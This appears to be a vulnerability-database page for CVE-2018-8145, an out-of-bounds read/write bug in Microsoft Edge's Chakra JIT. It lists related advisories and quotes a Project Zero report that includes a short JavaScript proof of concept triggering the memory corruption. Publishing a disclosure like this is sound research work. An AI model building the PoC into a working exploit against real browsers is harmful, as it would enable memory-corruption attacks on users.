Microsoft Edge Chakra JIT Out-Of-Bounds Reads/Writes
🗓️ 12 Jul 2018 00:00:00Reported by Google Security ResearchType 
packetstorm🔗 packetstormsecurity.com👁 34 Views
| Reporter | Title | Published | Views | Family All 51 |
|---|---|---|---|---|
 | Microsoft Edge Chakra JIT - Out-of-Bounds Reads/Writes Exploit | 12 Jul 201800:00 | – | zdt |
 | The vulnerability of the JavaScript script handler ChakraCore in browsers Internet Explorer and Microsoft Edge allows attackers to compromise the confidentiality, integrity, and accessibility of protected information. | 29 Jun 201800:00 | – | bdu_fstec |
 | CVE-2018-8145 | 12 Jul 201800:00 | – | circl |
 | Microsoft Edge Sensitive Information Disclosure Vulnerability | 9 May 201800:00 | – | cnvd |
 | Microsoft Edge and Internet Explorer Chakra Out of Bounds Read (CVE-2018-8145) | 12 Jul 201800:00 | – | checkpoint_advisories |
 | CVE-2018-8145 | 9 May 201819:00 | – | cve |
 | CVE-2018-8145 | 9 May 201819:00 | – | cvelist |
 | Microsoft Edge Chakra JIT - Out-of-Bounds Reads/Writes | 12 Jul 201800:00 | – | exploitdb |
 | ChakraCore information disclosure vulnerability | 13 May 202201:53 | – | github |
 | May 8, 2018—KB4103716 (OS Build 10240.17861) | 8 May 201807:00 | – | mskb |
10
`Microsoft Edge: Chakra: JIT: OOB reads/writes
CVE-2018-8145
It seems that this issue is similar to the <a href="/p/project-zero/issues/detail?id=1429" title="Microsoft Edge: Chakra: JIT: Loop analysis bug" class="closed_ref" rel="nofollow"> issue 1429 </a> (MSRC 42111). It might need to refresh the page several times to observe a crash.
PoC:
let arr = new Uint32Array(1000);
for (let i = 0; i < 0x1000000; i++) {
for (let j = 0; j < 1; j++) {
i--;
i++;
}
arr[i] = 0x1234;
}
This bug is subject to a 90 day disclosure deadline. After 90 days elapse
or a patch has been made broadly available, the bug report will become
visible to the public.
Found by: lokihardt
`
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12 Jul 2018 00:00Current
EPSS0.66877